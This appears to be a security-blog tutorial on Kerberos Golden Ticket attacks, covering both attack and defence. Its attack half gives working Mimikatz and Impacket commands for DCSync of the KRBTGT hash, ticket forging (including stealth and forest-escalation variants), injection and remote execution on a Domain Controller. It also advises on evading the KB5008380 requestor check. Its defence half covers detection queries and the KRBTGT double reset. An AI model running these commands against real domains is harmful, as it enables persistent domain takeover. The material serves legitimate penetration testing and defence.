Skip to Content
Golden Ticket attack diagram showing forged Kerberos TGT creation and domain-wide persistence

Golden Ticket attacks and persistence

Forging Kerberos TGTs with the KRBTGT hash for persistent, privileged domain access, and how to detect and evict it.

Jul 14, 2026
Updated Nov 22, 2026
17 min read

Introduction

A Golden Ticket is a forged Ticket Granting Ticket (TGT), encrypted and signed with a key of the KRBTGT account. The Key Distribution Center (KDC) keeps no record of the TGTs it issues. If a TGT decrypts with the KRBTGT key, the KDC treats it as one of its own. Whoever holds the KRBTGT hash can therefore build TGTs for any account, with any group memberships, and with a lifetime of years.

This is post-exploitation. You need the domain first: DCSync rights, code execution on a Domain Controller, or a copy of NTDS.dit. The KRBTGT hash then gives you persistence that survives a password reset of every account except KRBTGT. Deleting and recreating the Domain Admin accounts does not help the defender, and neither does removing group memberships, because the forged PAC carries the groups you wrote into it. The fix is to reset KRBTGT twice, and that has to be planned so it does not break tickets that are in use.

A ticket forged with the default 10-year lifetime gets you back into the domain without touching LSASS again. Many environments have never rotated KRBTGT. When incident response rotates it once, the second rotation that actually invalidates the old key is often missed.

Authorized testing only

Forging tickets for a domain without written authorization is unauthorized access. The examples assume a signed scope that covers the target domain and explicitly allows KRBTGT extraction. Agree with the client how the KRBTGT hash is handled, because they will have to rotate it after the test.

Impact

  • The ticket stays valid for its whole lifetime, whatever happens to user accounts
  • You can forge membership of any group by RID: Domain Admins (512), Enterprise Admins (519), Schema Admins (518)
  • On DCs without the November 2021 updates (KB5008380), a ticket for an account that does not exist in AD is accepted
  • With extra SIDs (/sids), a child domain KRBTGT hash gives Enterprise Admin access to the forest root
  • The TGT can be exchanged for a service ticket to any service in the domain
  • Forging happens offline. The DC only sees the service ticket requests that follow
  • Account lockout does not stop it, because you never authenticate with a password again

Technical details

In a normal AS exchange the client sends an AS-REQ, the KDC checks pre-authentication, and returns a TGT encrypted with the KRBTGT key plus a session key encrypted for the client. When the client presents the TGT in a TGS-REQ, the KDC decrypts it, reads the PAC and issues a service ticket. A Golden Ticket skips the AS exchange: you build the TGT yourself and go straight to the TGS-REQ.

The PAC (Privilege Attribute Certificate) inside the TGT holds the user's SID and group memberships, plus a server signature and a KDC signature. For a TGT both signatures are made with the KRBTGT key, so a forged PAC carries valid signatures and passes every signature check.

Get the KRBTGT hash with DCSync

DCSync uses the DS-Replication-Get-Changes-All extended right. Any account that holds it (Domain Admins, Enterprise Admins, or an account it was delegated to) can replicate password hashes without touching LSASS on the DC.

DCSync with Mimikatz
# Run from a machine with domain admin equivalent
privilege::debug
lsadump::dcsync /domain:corp.local /user:krbtgt

Expected output:

[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
Object RDN           : krbtgt

** SAM ACCOUNT **
SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 1/15/2024 3:22:41 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
    ntlm- 0: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
    ntlm- 1: 9f8e7d6c5b4a39281706f5e4d3c2b1a0
    lm  - 0: aabbccddeeff00112233445566778899

* Primary:Kerberos-Newer-Keys *
    Default Salt : CORP.LOCALkrbtgt
    Default Iterations : 4096

    Credentials
      aes256_hmac       (4096) : aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899
      aes128_hmac       (4096) : aabbccddeeff00112233445566778899

Record both the NTLM hash and the AES256 key. Forge with AES256 where you can. An RC4 ticket stands out in a domain that otherwise uses AES.

DCSync via Impacket (Linux)
secretsdump.py corp.local/domainadmin:'P@ssw0rd!'@DC01.corp.local -just-dc-user krbtgt

Gather domain information

You need the domain SID and FQDN. The domain SID is any user SID with the last component (the RID) removed.

Collect domain info
# Domain SID from current user
whoami /user
# Output: CORP\administrator  S-1-5-21-3842939050-3880317879-2865463114-500
# Domain SID: S-1-5-21-3842939050-3880317879-2865463114

# Via PowerShell AD module
(Get-ADDomain).DomainSID.Value

# Via WMIC
wmic useraccount where name='administrator' get sid
Domain info from Linux
# Using NetExec
nxc ldap DC01.corp.local -u domainadmin -p 'P@ssw0rd!' --get-sid

# Using ldapsearch
ldapsearch -x -H ldap://DC01.corp.local -D "domainadmin@corp.local" -w 'P@ssw0rd!' -b "DC=corp,DC=local" "(objectClass=domain)" objectSid

Forge the Golden Ticket

With the KRBTGT hash and the domain SID you forge the TGT locally. Nothing is sent to the DC.

Forge Golden Ticket: Mimikatz (RC4)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /id:500 /groups:512,518,519,520,572 /ptt
Forge Golden Ticket: Mimikatz (AES256, preferred)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /aes256:aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899 /id:500 /groups:512,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

The parameters:

ParameterMeaning
/userUsername written into the ticket
/idUser RID. 500 is the built-in Administrator, but any RID works
/groupsComma-separated group RIDs written into the PAC
/startoffsetStart time offset in minutes. A negative value backdates the ticket
/endinTicket lifetime in minutes. 10 years if omitted
/renewmaxMaximum renewal lifetime in minutes
/pttInject into the current session. Use /ticket:golden.kirbi to save to a file instead
Save ticket to file instead of injecting
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /id:500 /ticket:C:\Temp\golden.kirbi

Inject and use the ticket

Inject saved ticket
kerberos::ptt C:\Temp\golden.kirbi

# Verify injection
klist

Expected klist output after injection:

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0>	Client: Administrator @ CORP.LOCAL
	Server: krbtgt/CORP.LOCAL @ CORP.LOCAL
	KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
	Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
	Start Time: 6/23/2026 14:30:00 (local)
	End Time:   6/23/2036 14:30:00 (local)
	Renew Time: 6/23/2036 14:30:00 (local)
	Session Key Type: RSADSI RC4-HMAC(NT)
	Cache Flags: 0x1 -> PRIMARY
	Kdc Called:

The 10-year End Time is an easy detection. Set /endin:600 to match the domain's Maximum lifetime for user ticket policy (10 hours by default).

Access domain resources with injected ticket
# List DC filesystem
dir \\DC01.corp.local\C$

# Remote code execution
PsExec.exe \\DC01.corp.local -s cmd.exe

# DCSync again (persistence loop)
lsadump::dcsync /domain:corp.local /all /csv

Attack tools

Mimikatz kerberos::golden is the original Golden Ticket tool. It runs on Windows. Forging and /ptt need no special privileges. privilege::debug only matters for the LSASS modules.

Full Mimikatz Golden Ticket workflow
# Elevate
privilege::debug

# DCSync for KRBTGT hash
lsadump::dcsync /domain:corp.local /user:krbtgt

# Forge and inject (RC4)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /id:500 /groups:512,519 /ptt

# Forge and inject (AES256: more stealthy)
kerberos::golden /user:svc-nonexistent /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /aes256:aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899 /id:1337 /groups:512,519 /endin:600 /renewmax:10080 /ptt

# Cross-domain with SID history (child -> forest root)
kerberos::golden /user:Administrator /domain:child.corp.local /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:<child_krbtgt_hash> /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /id:500 /ptt

# Inject saved ticket
kerberos::ptt golden.kirbi

# List injected tickets
kerberos::list

Detection

Forging leaves no log entry on the DC, because the AS exchange never happens. Detection has to work from what the ticket looks like when it is used.

Event IDs and log sources

Event IDSourceIndicator
4769DC Security logKerberos service ticket request. Look for encryption type 0x17 (RC4) in AES-only environments
4768DC Security logTGT request. A 4769 with no earlier 4768 suggests an injected ticket
4624Member serverLogon type 3 with Kerberos for an account with no earlier 4768 on a DC
4672Member serverSpecial privileges assigned to an account that should not have them
4776DC Security logNTLM fallback, which can follow a rejected ticket

What to hunt for:

  • A ticket lifetime longer than the domain's Maximum lifetime for user ticket policy (10 hours by default)
  • A Renew Until beyond Maximum lifetime for user ticket renewal (7 days by default)
  • An account name in a ticket with no matching AD object
  • RC4 encryption (0x17) in a domain that enforces AES
  • Service ticket requests (4769) with no earlier TGT request (4768) from the same IP

SIEM detection queries

Event 4769 does not record ticket start or end times, so a ticket lifetime cannot be computed from DC logs. Check lifetimes on the host that holds the ticket (klist, or a ticket dump during response), and use the queries below on the DC side.

Splunk: RC4 Kerberos in AES-enforced domain
index=windows EventCode=4769 TicketEncryptionType=0x17
| stats count by TargetUserName, ServiceName, ClientAddress, _time
| where count > 0
Splunk: 4769 without preceding 4768 (injected ticket)
index=windows (EventCode=4768 OR EventCode=4769)
| eval is_tgt=if(EventCode=4768, 1, 0)
| eval is_tgs=if(EventCode=4769, 1, 0)
| stats sum(is_tgt) as tgt_count, sum(is_tgs) as tgs_count by TargetUserName, ClientAddress
| where tgs_count > 0 AND tgt_count = 0
Microsoft Sentinel: Impossible ticket lifetime
SecurityEvent
| where EventID == 4769
| extend TicketOptions = tostring(EventData.TicketOptions)
| extend EncType = tostring(EventData.TicketEncryptionType)
| where EncType == "0x17"
| summarize count() by Account, IpAddress, Computer, bin(TimeGenerated, 1h)
| where count_ > 5

PAC checks

Two different mechanisms get mixed up here.

KB5008380 (November 2021, enforced since October 2022) adds a requestor buffer to the PAC of every TGT. When a service ticket is requested, the KDC checks that the account in the TGT is the account that requested it. A ticket forged by an old tool without the requestor buffer, or for a name that does not match the SID, is rejected, and the KDC logs a "Ticket without Requestor" or "Requestor Mismatch" event in the System log. Current Rubeus and Impacket builds add the buffer (Rubeus /oldpac and ticketer.py -old-pac leave it out). The Mimikatz PAC code has no requestor buffer, so a kerberos::golden TGT fails this check on a DC that enforces it. Forge with Rubeus or ticketer.py against patched DCs.

ValidateKdcPacSignature is older. It controls whether a service asks a DC to verify the KDC signature of the PAC in a service ticket. Keep it on, but it does not catch a Golden Ticket: the forged PAC is signed with the real KRBTGT key and validates.

Enable PAC validation
# On DCs and member servers
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" `
  -Name "ValidateKdcPacSignature" -Value 1 -Type DWord

Behavioral indicators

  • An account authenticating to resources it has never used, right after a privilege escalation alert on another host
  • LSASS memory access by an unusual process on a DC, which precedes a credential dump
  • Event 4662 with the DS-Replication-Get-Changes-All property from an account that is not a DC

Remediation

Immediate response

If you suspect a Golden Ticket, reset KRBTGT twice, at least 10 hours apart. The KRBTGT account has a password history of two, and the KDC accepts tickets encrypted with either the current or the previous key. After one reset the stolen key is the previous key and still works. The second reset pushes it out of the history. The 10-hour gap (the default maximum ticket lifetime) lets legitimate tickets issued under the old key expire first.

Reset the KRBTGT password (first reset)

KRBTGT first password reset
# Using the Microsoft KRBTGT Reset Script (recommended)
# https://github.com/microsoft/New-KrbtgtKeys.ps1
.\New-KrbtgtKeys.ps1

# Or manually via PowerShell AD module
$NewPassword = ConvertTo-SecureString ([System.Web.Security.Membership]::GeneratePassword(128, 32)) -AsPlainText -Force
Set-ADAccountPassword -Identity krbtgt -NewPassword $NewPassword -Reset

# Record the password change timestamp
Get-ADUser krbtgt -Properties PasswordLastSet | Select-Object PasswordLastSet

After the first reset, check that the change has replicated to all DCs:

Verify replication
repadmin /replsummary
repadmin /showrepl

Wait at least 10 hours

The wait has to be longer than the domain's maximum ticket lifetime. Check the current value:

Check ticket lifetime policy
# From Default Domain Policy
Get-GPO -Name "Default Domain Policy" | Get-GPOReport -ReportType XML |
  Select-String "MaxTicketAge|MaxRenewAge"

# Or check the Kerberos policy directly
[adsi]"LDAP://DC=corp,DC=local" | Select-Object -ExpandProperty MaxTicketAge

Do not skip the wait. Two resets in quick succession break legitimate Kerberos sessions at once, because the DC no longer has the key their tickets were issued under.

Reset the KRBTGT password (second reset)

KRBTGT second password reset
# Second reset: run same procedure after 10+ hours
$NewPassword2 = ConvertTo-SecureString ([System.Web.Security.Membership]::GeneratePassword(128, 32)) -AsPlainText -Force
Set-ADAccountPassword -Identity krbtgt -NewPassword $NewPassword2 -Reset

# Verify both old hashes are gone
lsadump::dcsync /domain:corp.local /user:krbtgt
# Check that ntlm-1 (previous password) does not match either pre-reset value

Validate and monitor

Post-reset validation
# Confirm new KRBTGT hash
Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber |
  Select-Object PasswordLastSet, msDS-KeyVersionNumber

# Force clients to get new tickets (purge cached tickets on endpoints)
# Via GPO or logoff/logon cycle

# Monitor for failed authentications during transition
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4771;StartTime=(Get-Date).AddHours(-1)} |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[0].Value}}, @{N='FailCode';E={$_.Properties[4].Value}}

Long-term hardening

Enforce AES and disable RC4 for Kerberos:

Disable RC4 for Kerberos
# Via Group Policy: Computer Configuration > Windows Settings > Security Settings >
# Local Policies > Security Options >
# "Network security: Configure encryption types allowed for Kerberos"
# Enable: AES128_HMAC_SHA1, AES256_HMAC_SHA1, Future encryption types
# Disable: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5

# Or via registry on all DCs and member servers
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" `
  -Name "SupportedEncryptionTypes" -Value 0x7FFFFFF8 -Type DWord

Audit who holds DCSync rights and remove what is not needed:

Audit replication rights
# Find accounts with DS-Replication-Get-Changes-All
(Get-ACL "AD:\DC=corp,DC=local").Access |
  Where-Object {$_.ActiveDirectoryRights -like "*ExtendedRight*" -and $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"} |
  Select-Object IdentityReference, ActiveDirectoryRights

Put privileged accounts in the Protected Users group:

Add privileged accounts to Protected Users
# Protected Users disables NTLM, DES, RC4 for members
# Enforces AES, limits TGT lifetime to 4 hours
Add-ADGroupMember -Identity "Protected Users" -Members Administrator, "Domain Admins" -Confirm:$false

Enable Credential Guard on privileged workstations to protect credentials in LSASS:

Enable Credential Guard
# Requires Secure Boot + UEFI + Virtualization-based security
# Via Group Policy: Computer Configuration > Administrative Templates >
# System > Device Guard > Turn On Virtualization Based Security
# Credential Guard Configuration: Enabled with UEFI lock

References

MITRE ATT&CK techniques

Tools documentation

Next steps

On this page